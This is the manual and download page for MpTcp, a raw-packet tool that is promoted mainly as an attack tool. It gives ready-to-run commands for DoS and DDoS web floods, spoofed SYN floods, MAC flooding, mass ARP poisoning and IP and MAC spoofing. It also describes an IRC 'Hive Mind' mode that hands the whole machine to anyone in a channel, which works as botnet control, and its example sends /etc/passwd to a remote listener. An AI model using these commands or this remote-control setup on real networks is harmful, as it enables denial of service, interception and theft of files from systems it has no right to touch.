Mpctp is a tool for raw packets manipulation that allows a large number of
options. Its primary purpose is diagnose and test several scenarios that
involving the use of TCP/IP packets. It's capable to send packets to any
target type (like hostnames, IPs and MAC address) and manipulate many
fields and headers like: Source/Destination IP address,
Source/Destination MAC address, TCP flags, ICMP types, TCP/UDP/ICMP packet
size, payloads ARP/RARP, etc.
Mptcp is also able to be managed over the RSOI mode
(Remote System over IRC), where the software can surrender all control and
machine resources to one channel on an remote IRC server.
Also, too many types of network based attacks (like packet attacks) also
are handled by MpTcp.
What the purpose ??
Many systems have particular behavior forms with certain packet types.
Sometimes in some situations, we let pass many informations that could be
useful at a problem solution or useful to check a network environment. So,
the main objective of Mptcp is not intended to be an OS Fingersprint, Port
Scanner, Packet Scanner, ARP Bombs or a pinger, but be a "mini debugger",
a hard tool or a "clamp" for some adjustment or simulation that can be done
in some network environments.
Mptcp also try encourage the RSOI use like a objective to have one more
flexibility to manage a remote system control over trusted machines, or
more hard security tests.
Ok, but i already have the nmap,
netcat. nessus, packit, hping3,
There are good tools to perform penetration tests or analyze packets contents.
However, we are always encouraged to develop and write codes. So, in this
situation was extremely useful develop Mptcp along with the opportunity to open
other tools for join many of these actions onto a single application.
Mptcp differs this tools on some functions like:
- WEB Stress HTTP Connections (DoS Attack e DDoS Attack)
- WEB Stress TCP Connections (DoS Attack e DDoS Attack)
- WEB Stress UDP attack test (DoS Attack e DDoS Attack)
- WEB Stress ICMP attack test (DoS Attack e DDoS Attack)
- Threads control
- RSOI mode (HIVE MIND) (Mass Remote Control over IRC channels)
- Able to send all TCP/IP packet types
- Able to send UDP packets
- Able to send many ICMP packet types
- Able to do MAC and IP Spoofing
- Able to do MAC Flooding Attack
- Able to do ARP Poisoning Attack
- Able to perform a hard Syn/Ack flood
- Arping mode
- Able to listen for TCP connections (any Port)
- Able to listen for UDP packets (any Port)
- Able to listen for ICMP packets (Listen for pings or others ICMP packets)
- Able to listen for ARP/RARP packets (Listen mode on link layer)
MpTcp dark tags:
- Mptcp is a tool for (RSOI) Remote System over IRC
- Mptcp is an IRC tool iPhone , iPad, Linux , BSD and MAC OSX
- Mptcp is a DoS Tool for iPhone , iPad , Linux , BSD and MAC OSX
- Mptcp is a DDoS Tool for iPhone , iPad , Linux , BSD and MAC OSX
- Mptcp is a Mac Flooding Tool (for Linux, MAC OSX, BSD and for iPhone/iPad)
- Mptcp is an Arp Poisoning Tool (for Linux, MAC OSX, BSD and for iPhone/iPad)
- Mptcp is an Arping Tool (for Linux, MAC OSX, BSD and for iPhone/iPad)
- Mptcp is an graphical netcat for iPhone / iPad.
What is RSOI handler??
RSOI is an acronym to: Remote System over IRC.
IOS-* Version (iPhone/iPad/iPod):
On IOS version to Apple devices, the Mptcp have an Graphical Interface. Your modes are separated by views, where each view
have your self specific handle. Look the images below:
Source host (hostname or IP address). If -s option is not
specified, the MpTcp assumes the IP address found by the first interface
defined in the system: (eth0, eth1, eth2, etc...) ordinarily.
Destination port (remote port).
Source port (local port).
Specifies the interface option. (Eg: -i eth0)
-q (number packets)
Number of packets to send.
-x (packet size)
Sets the packet size. The package size can not be larger than 1470 bytes or
larger than defined system MTU (eg: MTU=1500).
Sets the TTL field.
Continuous mode. Send packets without interruption with regular interval
of 1 (one) second between the shoots.
Flood option. Set the time between the shoots (in microseconds).
The -F option cannot be used with -c or -b options.
Super flood. This option puts MpTcp optimized to send the largest number
of packets in a short amount of time [CAUTION].
Don't wait for replies. Ignore packet responses.
Number of threads to use on send option.
Display the packet content on received packets (tcpdump style).
Print the version.
Print the initial help page with arguments.
Send an ICMP packet Type 8 (Echo Request). The target will respond with
an ICMP packet Type 0 (Echo Reply) if it is alive.
Send an ICMP packet Type 0 (Echo Reply).
Send an ICMP packet Type 15 (Information Request).
Send ICMP packets Type 13 (Timestamp Request).
Send ICMP packets Type 4 (Source Quench).
Send ICMP packets Type 17 (Mask Request). If the target is configured to
reply a request mask, a MaskReply pscket will be received with the Mask.
Send ICMP packets Type 18 (Mask Reply). The "Mask" argument is the mask
defined to packet. (Eg: -M 255.255.0.0).
ICMP Listen Mode. Listen for incoming ICMP packets. Any ICMP packet
"unicast" will be captured.
Simple TCP connection to target. The option -p port is required. This
option uses connect() routine for synchronization.
Send a TCP SYN packet (TCP packet with the SYN bit on).
Send a TCP ACK packet (TCP packet with the ACK bit on).
Send a TCP FINAL packet (TCP packet with the FIN bit on).
Send a TCP RESET packet (TCP packet with the RST bit on).
Send a TCP PUSH packet (TCP packet with the PSH bit on).
Send a TCP packet XMAS (TCP packet with the FIN-PUSH-URG bits on).
Send a NULL TCP packet (TCP packet with the NONE bits on. All tcp flags off).
-lT (-P port)
TCP Listen Mode. Listen for incoming TCP packets. This option need be
used with option "-P port".
-lC (-P port)
Listen for TCP connections. This option need to be used with option
"-P port". TCP listen mode uses accept() function for synchronization.
-lU (-P port)
UDP Listen Mode. Listens for incoming UDP packets. This option need be
used with the option "-P port". The UDP listen mode don't use a stream
-H (destination mac)
Destination MAC address. Option required for ARP packets.
This option requires a destination IP address. So if "-d "
is not given, MpTcp will assumes by default a NULL value on this field
header. Form: -H AA:DD:CC:22:11:AA.
-h (source mac)
Source MAC address. This option requires the source IP address. If
Defines the frame type like RARP packet. All ARP/RARP packets sent by
MpTcp on the link layer are ARP by default. If "-R" is defined, then
MpTcp send packets type RARP instead.
Defines the ARP/RARP frame type like REQUEST packet. The packets sent by
MpTcp on the link layer are REPLY by default. If "-A" is defined, then
MpTcp sets the ARP/RARP packets to "REQUEST" type instead.
-a (ip address)
Arping Mode. This option sends ARP REQUEST packets to a given IP
address.The target receives the packet and returns an ARP REPLY packet.
This option is very useful for probing hosts that filter ICMP pings.
Mac Flood (CAUTION !!).
This option sends ARP REPLY packets with SOURCE MAC, DESTINATION MAC,
SOURCE IP ADDRESS and DESTINATION IP ADDRESS (randomly generated) on
mode Super Food. If not specified the "-i " MpTcp takes the
first valid interface found in the System. Eg usage:
# mptcp -f 120000
This option does a flooding by sending 120000 packets with random IP
addresses and random MAC addresses. This attack is also called
MAC FLOODING. Note:
USE THIS OPTION VERY CAREFULLY. IT CAN OVERFLOW THE ROUTING TABLES OR AN
UNEXPECTED BEHAVIOR OF THE SWITCHS AND NEIGHBORING'S HOSTS ON NETWORK.
ARP Cannon (CAUTION !!).
This option sets MpTcp to send ARP REPLY packets to all defined IP
addresses inside the range "ip_address-ip_addresses". This packets will
have destination MAC address defined to physical broadcast address
(FF:FF:FF:FF:FF:FF) and source MAC address randomly generated. The
option range (IP-IP) needs TO BE in the format shown below. Eg:
# mptcp -r 10.1.1.1-10.1.1.240
The above option does a flooding to destination physical broadcast
FF:FF:FF:FF:FF:FF, saying to network enlace that all IP adresses in the
range "10.1.1.1 to 10.1.1.240" will have source MAC addresses randomly
generated. This attack is also called MASSIVE ARP POISONING. This action
probally TAKE DOWN for moments all IP addresses defined in the range
argument.NOTE: USE THIS OPTION VERY CAREFULLY.
-e (ip address)
This option exclude the "ip address" from option ARP CANNON (-r ip-ip)
above defined. Eg:
# mptcp -r 10.1.1.1-10.1.1.240 -e 10.1.1.10
The above option will exclude the IP address "10.1.1.10" from
ARP CANNON attack.
Listen for incoming ARP/RARP packets on link layer.
(WEB STRESS Options)
Send UDP packets on flood mode to HTTP host (default: Port 80).
TCP connections attack.
Does TCP connections to HTTP host (default: Port 80).
WEB HTTP attack.
Send HTTP requests (GET) on flood mode to HTTP host (default: Port 80).
Send ICMP packets on flood mode to HTTP host.
(Also called Death Ping).
TCP SYN attack.
Send TCP SYN packets on flood mode to HTTP host (default: Port 80).
Also called SYN Flood attack.
TCP ACK attack.
Send TCP ACK packets on flood mode to HTTP host (default: Port 80).
(HIVE MIND Options)
(RSOI - Remote System over IRC)
IRC network to connect. This option is required to put MpTcp on RSOI mode.
IRC #channel to connection.
The channel must be defined without "#" character, where only the
"IRC channel" must be filled. If this option is not given, then MpTcp
will join on #mptcp channel by default.
IRC channel's password (if exists). If this option is not given, then
MpTcp will type the password's channel like "mptcp0" by default.
# mptcp -d hexcodes -Ie
Send an ICMP packet (Echo Request) to host "hexcodes".
# mptcp -lI
ICMP listen mode. Listen for ICMP packets like PINGs.
# mptcp -It -d www.hexcodes.org -c
Send ICMP packets (Timestamp Request) on continuous mode to server
Send only 20 UDP packets to server "www.hexcodes.org" and to port 9000,
from source port 22000 with flood Delay of 900 miliseconds.
# mptcp -d 184.108.40.206 -Ie -x 512 -t 50 -z
Set MpTcp for send ICMP packets (Echo Request) with size of 512 bytes
to host "220.127.116.11" with TTL 50. Don't wait for ICMP Echo ReplY
# mptcp -It -d www.hexcodes.org -c
Send ICMP packets (Timestamp Request) on continuous mode to server
# mptcp -lU -P 59
Listen UDP packets on local port 59 (all addresses and loopback).
# mptcp -d hexcodes -Ts -p 6000
Send a TCP SYN packet to host "hexcodes" on port 6000.
# mptcp -lC -P 12345 > file.txt
Listen TCP connections on local port "12345", and write the received
data on file 'file.txt'.
# mptcp -d hexcodes -p 12345 < /etc/hosts
Connect to host 'hexcodes' reading the file '/etc/hosts. The file
content will be send over the TCP connection (netcat style).
# mptcp -lT -P 2134 -D
Listen for TCP packets on local port "2134" and show the packet content.
# mptcp -d www.hexcodes.org -Tr -p 8080 -n 12 -b
Send TCP RST packets to server "www.hexcodes.org" on port 8080, with 12
threads and super flood mode (HOT).
# mptcp -H FF:FF:FF:FF:FF:FF
Send an ARP REPLY packet to physical Broadcast FF:FF:FF:FF:FF:FF. (The
source MAC address and the source IP address will be obtained locally
by the active interface. The destination IP address will be NULL).
Send an ARP REQUEST packet by the eth2 interface with source MAC
00:BB:AA:CC:BB:AA, to destination physical Broadcast FF:FF:FF:FF:FF:FF,
asking "Who ??" on the network have the IP address "10.1.10.1". The IP
"10.1.10.1" (if alive) will respond with an ARP REPLY filled with its
own MAC/IP address pair.
Send an ARP REPLY packet to destination physical Broadcast
FF:FF:FF:FF:FF:FF saying that the source IP address "10.2.2.100" have
now the MAC address 00:CC:AA:CC:BB:AA. (Caution: This option changes
the ARP cache table. Possible ARP poisoning attack).
# mptcp -a 10.1.50.10
Send an Arp'ing packet to Host "10.1.50.100". If the host hardware is
alive on network or LAN, by default an ARP REPLY will be returned.
Otherwise, nothing happens. This option can be used to bypass ICMP
filters (PING filters).
# mptcp -f 250000
Send 250000 ARP REPLY packets (to physical broadcast) with the
fields (SOURCE MAC, DESTINATION MAC, SOURCE IP and DESTINATION IP
ADDRESSESS) randomly generated.
# mptcp -lA -D
Listen for ARP/RARP packets. Does a listen action for all incoming
ARP/RARP packets on link layer, and show the packet content.
# mptcp -N irc.quakenet.org -L Cybers
Sets the MpTcp to connect on IRC Server "irc.quakenet.org" on channel
#Cybers. This option puts MpTcp on the RSOI mode. So, the MpTcp
will be NO AVAILABLE to be controled by user. Only the users on IRC
server "irc.quakenet.org" channel #Cybers can do this.
# mptcp -d 10.0.0.1 -W -n 40
Sets the MpTcp to "WEB Stress Mode". This option puts MpTcp to send HTTP
requests (GET method) on super flooding mode to host "10.0.0.1" on port
80 (WEB HTTP) with 40 threads. This stress test attempts to exhaust the
services on port 80 (Web Server) and check the target's limit response.
Connection or Packet Shooting to any Port or Destination
Mptcp can to connect or send packets to any destination or port. You can use this option to
diagnose a port (listening or not) or check if a host is responding as expected by shooting
a pre-builting packets. Eg:
# mptcp -d 10.0.0.2 -p 1024 -Tc
Does a simple TCP connection to host 10.0.0.2 on port 1024.
# mptcp -d 10.0.0.2 -p 20080 -u
Send an UDP packet to host 10.0.0.2 on port 20080.
# mptcp -d 10.0.0.2 -p 80 -Ts -c
Send TCP SYN packets to host 10.0.0.2 on port 80. If the port is open, then a
TCP [ACK] packet type will be returned. If this port is not opened, usually a
TCP [RST] packet is returned
Listen on any port (TCP and UDP) or listen for ICMP or ARP/RARP packets
MpTcp can listen on any port (UDP and TCP) or listen for ICMP or ARP/RARP
packets. This option can be used to simulate a listen port supposedly given
by a software, and verify the connection requests or data incoming in this
same port. The MpTcp can does listen for incoming ICMP data like: pings,
replies, source quenchs, etc.
The MpTcp also does listen on link layer level, capturing ARP/RARP packets
(Requests and Replies).
# mptcp -lC -P 20
Sets mptcp to listen connections on local port 20 (TCP).
# mptcp -lU -P 1030
Sets mptcp to listen on local port 1030 (UDP).
# mptcp -lT -P 16 -s 10.0.0.1
Sets mptcp to listen on local port 16 (TCP packets) only binded on address
# mptcp -lI -D
Sets mptcp to listen ICMP data and show the packet content. All incoming
ICMP packets will be captured. This option is useful to display incoming
# mptcp -lA
Sets mptcp to listen data on the link layer. This option will will capture
incoming ARP and RARP packets. This is useful to display ARP/RARP REQUESTS
or REPLIES packets they cross the network.
Capable to run like a FTP Connection
MpTcp is capable to run like FTP (over a TCP connection). It can listen at
a given port, so reading/writing data on a send/received connection (like
Netcat style). The data transfered can be BINARY or TEXT, whatever. Look:
This mode is also compatible with Netcat modes (listeners and senders).
(Server side: On host hexcodes)
# mptcp -lC -P 2200 > hosts.txt
Listen on local port 2200 and write the received data to file
(Client side: From any host)
# cat /etc/hosts | mptcp -d hexcodes -Tc -p 2200
Does a connection to host 'hexcodes', and reads the file '/etc/hosts'
to transfer the data content to remote host. The remote host 'hexcodes'
will write the transfered data content on the 'hosts.txt' file.
(Server side: On host hexcodes)
# mptcp -lC -P 900 < files.zip
Listen on local port 900, and reads the binary content data of file
'files.zip' to transfer on the next accepted connection.
(Client side: From any host)
# mptcp -d hexcodes -Tc -p 900 > new_files.zip
Sets the MpTcp to connect to host 'hexcodes' on remote port 900, and
read the binary incoming data content to write into the 'news_file.zip'
Arping - Alternative Ping
MpTcp can send ARP REQUEST packets to certain destinations in order to
diagnose whether they are alive on the network. By default, the MAC
interface of the host that receives an ARP REQUEST packet must return an
ARP REPLY informing your MAC/IP pair. This option is very useful for
diagnosing whether a host is alive on the network when the host filter ICMP
packets and does not accept pings ICMP. Therefore, the arping mode can be
used to bypass the firewall that filter ICMP packets.
# mptcp -a 10.0.0.100
Send an ARP'ING to host "10.0.0.100". If the host is alive on
network, then it will respond with an ARP REPLY packet.
DOS and DDoS based attacks (over Web Stress)
Since version 1.7, the mptcp enabled stress test of network based attacks.
These attacks are able to attempt to exhaust the services on port 80
(Web Server) and verify the target's limit. If many clients of MpTcp run
these routines at the same time and targeted to a single server, then this
server may fail in their services or become unavailable while the attack
lasts (DDoS). Eg:
# mptcp -d www.hexcodes.org -W -n 20
Sets the mptcp to "Stress Test mode", where the MpTcp will send many
shootings on super flooding mode to server "www.hexcodes.org" on port 80
(Default WEB Service), and with 20 threads. This option will give a great
overhead on target where it will try to exhaust the services WEB based.
The threads usage also can to intensify the attack. The number of threads
above ~20 on -W option, from many sources and with a large link can
define a complete target's 'denial of services' (DoS).
Mac and IP Spoofing
MpTcp can send packets with Source IP address and Source MAC address
spoofed. MpTcp can generate ICMP, TCP (syn, ack, rst, fin, push, null bits
and xmas bits on), UDP packets and ARP/RARP (Request and replies) with
source IP address filleds to any value. It can also set any value in the
source MAC address. Eg:
# mptcp -d 10.0.0.10 -p 890 -Ts -s 10.1.10.10
Send a TCP packet (bit syn on) to address "10.0.0.10" on port 890 and
with source IP address defined (spoofed) to "10.1.10.10".
# mptcp -s 0.0.0.0 -d 10.0.0.10 -p 9000 -u -c
Send UDP packets to address "10.0.0.10" on port 9000 and with source
IP address defined to NULL "0.0.0.0".
Send ICMP packets (Echo Request - PING) to address "10.0.0.10" with
source IP address defined to "10.255.0.255". This shoot don't wait by
the Echo Reply (-z option) and does a flooding with a delay time of 1000
microseconds (-F option).
# mptcp -H FF:FF:FF:FF:FF:FF -h 00:00:00:00:00:00
Send an ARP REPLY packet to physical BROADCAST (FF:FF:FF:FF:FF:FF)
saying that your source IP address have now MAC address
00:00:00:00:00:00. On this option, the sender host will stop receiving
and sending packets, and it will be isolated for a few seconds (Out of
MpTcp can send any of its options (ICMP, TCP, UDP, and ARP-RARP) with
"Flood Delay" or "Super Flood" modes. The Flood Delay option sets the
interval of shoots in microseconds, and can send packets in a very low range
of time. The "Super Flood" is more hard because it ignores the packet reply
and its optimization has focused to sending a large number of packets per
second. In certain environments can cause a DoS (Denial of Service) and
cripple the host communication. These options need be used CAREFULLY, cause
they may cause unavailability of the target's services or the complete
unavailability of the network's target.
# mptcp -d www.hexcodes.org -Ie -b
Send ICMP packets type Echo Request (PING) to server "www.hexcodes.org"
on super flood mode.
# mptcp -d 10.0.0.10 -p 900 -u -b -x 1300
Send UDP packets (super flood mode) to host "10.0.0.10" on port 900 with
packet size of 1300 bytes.
# mptcp -d 10.0.0.10 -Iq -F 10
Send ICMP packets (Source Quench type) to host "10.0.0.10" and with flood
delay of 10 microseconds. This packet type can decrease the flow of
Send TCP SYN packets to host on port 80, with source IP address defined
to "10.0.0.0" and with flood delay of 1 microsecond. This option don't
wait for replies. This attack is also named "Spoofed Syn Flood".
MpTcp send packets at the link layer and previously can define the source
and destination MAC addresses. MpTcp can manipulate the source MAC address
and the source IP address, so can change the ARP cache table of neighbors
on the network, causing a DoS or a pre-manipulation of data forwarding to
others destinations. A characterization of this kind of action is known as
MITM (Man In The Midle), where you can change the ARP table of your
neighbors, making them believe they are sending to gateway, where the
gateway will be the poisoning sender.
Send an ARP REPLY packet to physical BROADCAST saying that the
source IP address "10.0.0.1" have now MAC address AA:BB:CC:DD:EE:FF. If
the address "10.0.0.1" is alive on the network, then it will be
unavaiable for minutes on state of offline for physical comunication.
Send successively ARP REPLY packets to physical BROADCAST by the eth0
interface, and saying that source host "10.0.0.1" have now the MAC
address 00:00:00:00:00:00. This option leave the host "10.0.0.1" offline
while the shoots are going.
MAC Flooding: Buffer overflow on the Switch's ARP Table (CAM TABLE)
MpTcp brings the specific option of ARP Flood (MAC FLOODING). This option is
controversial, but may well be used for multiple purposes. The option
"-f (num packets)" of MpTcp sends (num packets) to physical BROADCAST with
Source and Destination MAC addresses randomly generated, and with Source and
Destination IP addresses randomly generated. The intent of this type of
transmission is overloading the temporary ARP cache table that the switches
holds. Doing this type of shooting in a massive mode, you can exhaust the
memory buffer storage table of the switchs, which it will enter in
"Fail Open" mode. On this stage, the switch will send all packets to all
ports on device (HUB mode), facilitating a process of sniffer NO-UNICAST
of any host on the network.
# mptcp -f 240000
Sets mptcp to send 240000 ARP REPLY packets to physical BROADCAST with
source and destination MAC address, source and destination IP address
generated randomly. If the memory buffer of the switch (CAM Table) is
less than 240000, then the switch will enter on "Fail Open mode".
RSOI - Remote System over IRC
(Mass Remote Control)
Since version 1.7, MpTcp enabled the RSOI (Hive Mind) option for external
use. This control is managed by an IRC channel, where a central controller
through commands given on the arbitrary channel of an IRC server can
remotely control all the clients (MpTcp) connected to this channel. This
option only can be used through an IRC network, cause MpTcp was developed
waiting a communication over an IRC protocol.
Inside this option, the user no more have control over
the tool, giving all and all control to IRC #channel. In other
words, using RSOI mode you surrender control of MpTcp and ALL
SELF MACHINE to all on IRC #channel, who can manipulate it and
use all local resources of host without any authentication.
Otherwise, is useful (for example) for:
To Check the limit link of remote host, where a controller may join many
users at a channel, and then with a single shoot to make all the MPTCPs
clients at same time responding to this command, triggering packets to a
specific target and checking the loading limitations.
FTP mode, using the IRC channel to management specific files transfer
over trusted machines.
# mptcp -N irc.quakenet.org (If no channel is giving, default #mptcp channel is used).
(If no password is giving, default mptcp0 channel's password is used).
The option above sets MpTcp to enter on IRC Server "irc.quakenet.com" on
channel #mptcp (default). After action, mptcp will NOT accept any command
from user, where MpTcp only will responds to commands that arrive from
"irc.quakenet.org" on #mptcp. If many MpTcp clients are on channel in
this moment, then the general controller will be able to control all MPTCPs
clients by your self command. Absolutely, all MpTcp will respond to it.
# mptcp -N irc.quakenet.org -L Cybers (#Cybers channel defined on MpTcp connection)
# mptcp -N irc.quakenet.org -L Cybers -G pass (Password "pass" defined to #Cybers channel on MpTcp connection)
Inside the IRC #channel:
After connected to IRC, the channel can send commands to ALL MpTcp clients.
These commands need be a specific syntax to differentiate it from normal
text typed on channel. MpTcp only understand commands prefixed by syntax:
Ie, everything that comes after this syntax will say to all MpTcp clients to
see this like an execution command.
@!~ mptcp -d hexcodes.org -Ie
That says to ALL MpTcp clients connected on the channel to send an ICMP
Echo Request (Ping) to "www.hexcoees.org" server.
Another example, and sounds like a blind query:
@!~ cat /etc/hosts
This command (sent by the #channel) tells to all MpTcp clients run the
"cat" command on /etc/passwd file. The result WILL BE NOT SHOWED on IRC channel.
This command (sent by the #channel) tells to all MpTcp clients run a
"cat" command on '/etc/passwd' file and send result to remote host
'hexcodes'. If the 'hexcodes' host is listening on port 123 with MpTcp or
Netcat (ie), the content of remote '/etc/passwd' file will be transfered.
So, we don't need spawn a shell, cause we already have one dedicated shell
under RSOI mode across the IRC channel.
MpTcp need superuser privileges (root) for operation and execution. DO NOT
use the stick bit to allow root privilegies. This is not recommended and
may allow involuntary or agressive DoS/DDoS attacks. The privileged MpTcp
use also allows users manipulate the ARP cache table of neighbors on
network, or put the system over a remote control.
Mptcp was written by Felipe Ecker (Khun)
MpTcp is available to anyone who wants to know, manipulate, or disassembly
the tool. MpTcp is licensed under GPL and Free Software Foundation. A copy
of the license accompanies the software (Licensed under GPL 3 - (C) Copyright).
The Mptcp can be freely downloaded here:
mptcp-1.9.2.tar.gz - Latest version 1.9.2 (universal source code for Linux, MAC OSX, BSD* and Darwin IOS). mptcp-1.9.2-i386.rpm - RPM package for i386 (Linux 32 bits) for RedHat, Centos, or RedHat based systems. mptcp-1.9.2-amd64.rpm - RPM package for x86_64 (Linux 64 bits) for RedHat, Centos, or RedHat based systems. mptcp-1.9.2-i386.deb - DEB package for i386 (Linux 32 bits) for Debian, Ubuntu, or Debian based systems. mptcp-1.9.2-amd64.deb - DEB package for x86_64 (Linux 64 bits) for Debian, Ubuntu, or Debian based systems. mptcp-2.0.2-IOS.deb - Mptcp DEB package for Apple IOS-* (iPhone, iPad, etc.. with jailbreak). Mptcp on GitHub - Mptcp development tree on GitHub. The 'unstable' branch is always up to date.
How to clone (branch unstable): # git clone -b unstable https://github.com/felipe-ecker/mptcp MpTcp local root repository - Root source code.